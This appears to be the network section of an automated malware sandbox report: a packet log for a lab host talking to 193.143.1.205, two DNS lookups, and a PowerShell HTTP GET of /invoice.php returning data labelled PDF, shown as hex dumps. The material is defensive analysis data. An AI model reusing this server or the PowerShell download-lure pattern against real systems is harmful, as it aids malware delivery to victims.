Jan 13, 2025 13:55:05.590573072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590619087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590622902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.590667009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590722084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.604060888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.604110956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.604156971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.604172945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.604202986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.604249001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.604266882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.604298115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.604343891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.604348898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.623950958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.623991013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624008894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624022007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624032974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624054909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624073029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624082088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624105930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624128103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624138117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624155045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624157906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624176025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624190092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624197006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624216080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624234915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624247074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624254942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624272108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624284029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624303102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624319077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624324083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624345064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624363899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624377966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624382973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624398947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624417067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624437094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624454021 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624456882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624478102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624491930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624497890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624517918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624532938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624536991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624558926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624571085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624586105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624607086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624622107 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624625921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624645948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624660969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624671936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624691963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624706030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624711037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624731064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624746084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624749899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624769926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624787092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624789000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624809027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624824047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624828100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624846935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624861956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624875069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624891996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624907017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624927044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624929905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624949932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.624953032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624973059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624991894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.624994993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625005960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625026941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625030994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625051022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625062943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625072002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625089884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625102997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625135899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625154972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625174999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625193119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625197887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625214100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625215054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625237942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625257015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625257015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625277042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625292063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625292063 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625318050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625329971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625339031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625360012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625372887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.625374079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625399113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.625407934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.633893013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.633946896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.633948088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.633989096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634027958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.634027958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634057999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634087086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634094000 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.634124994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634151936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634166956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.634188890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634227991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634232044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.634253979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634279966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634284973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.634308100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634325981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634344101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634351969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.634355068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.634412050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660252094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660310984 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660324097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660389900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660435915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660449982 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660484076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660525084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660530090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660577059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660619020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660619974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660665035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660708904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660710096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660773993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660813093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660820007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660866976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660911083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.660912991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.660973072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.661022902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.676450968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.676487923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.676506996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.676525116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.676542044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.676558971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.676577091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.676702023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.690701962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.690834999 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.690835953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.690884113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.690922976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.690929890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.690977097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.691025019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.691031933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.691072941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.691119909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.704798937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.704838037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.704891920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.704905987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.704953909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705001116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705001116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705065966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705111980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705112934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705161095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705205917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705229044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705255985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705301046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705301046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705370903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705411911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705432892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705480099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705534935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705538988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705585957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705630064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705631971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705679893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705723047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705729961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705769062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705807924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705816984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705862999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.705902100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.705908060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.748651028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.761199951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:06.160537004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:06.636118889 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:06.641010046 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:06.641175032 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:06.641218901 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:06.646094084 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:07.430828094 CET	8888	49713	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:07.483001947 CET	49713	8888	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:07.615027905 CET	49713	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 13:55:19.763844013 CET	63451	53	192.168.2.6	1.1.1.1
Jan 13, 2025 13:55:43.504134893 CET	61298	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 13:55:19.763844013 CET	192.168.2.6	1.1.1.1	0xd796	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:55:43.504134893 CET	192.168.2.6	1.1.1.1	0x3936	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 13:55:19.771342993 CET	1.1.1.1	192.168.2.6	0xd796	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 13:55:43.512227058 CET	1.1.1.1	192.168.2.6	0x3936	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	988	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 13:55:04.198385000 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 13:55:04.975951910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 12:55:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 13:55:04.976032019 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 13:55:04.976095915 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 13:55:04.976164103 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 13, 2025 13:55:04.976212025 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 13, 2025 13:55:04.976259947 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 13, 2025 13:55:04.976325035 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 13, 2025 13:55:04.976372004 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
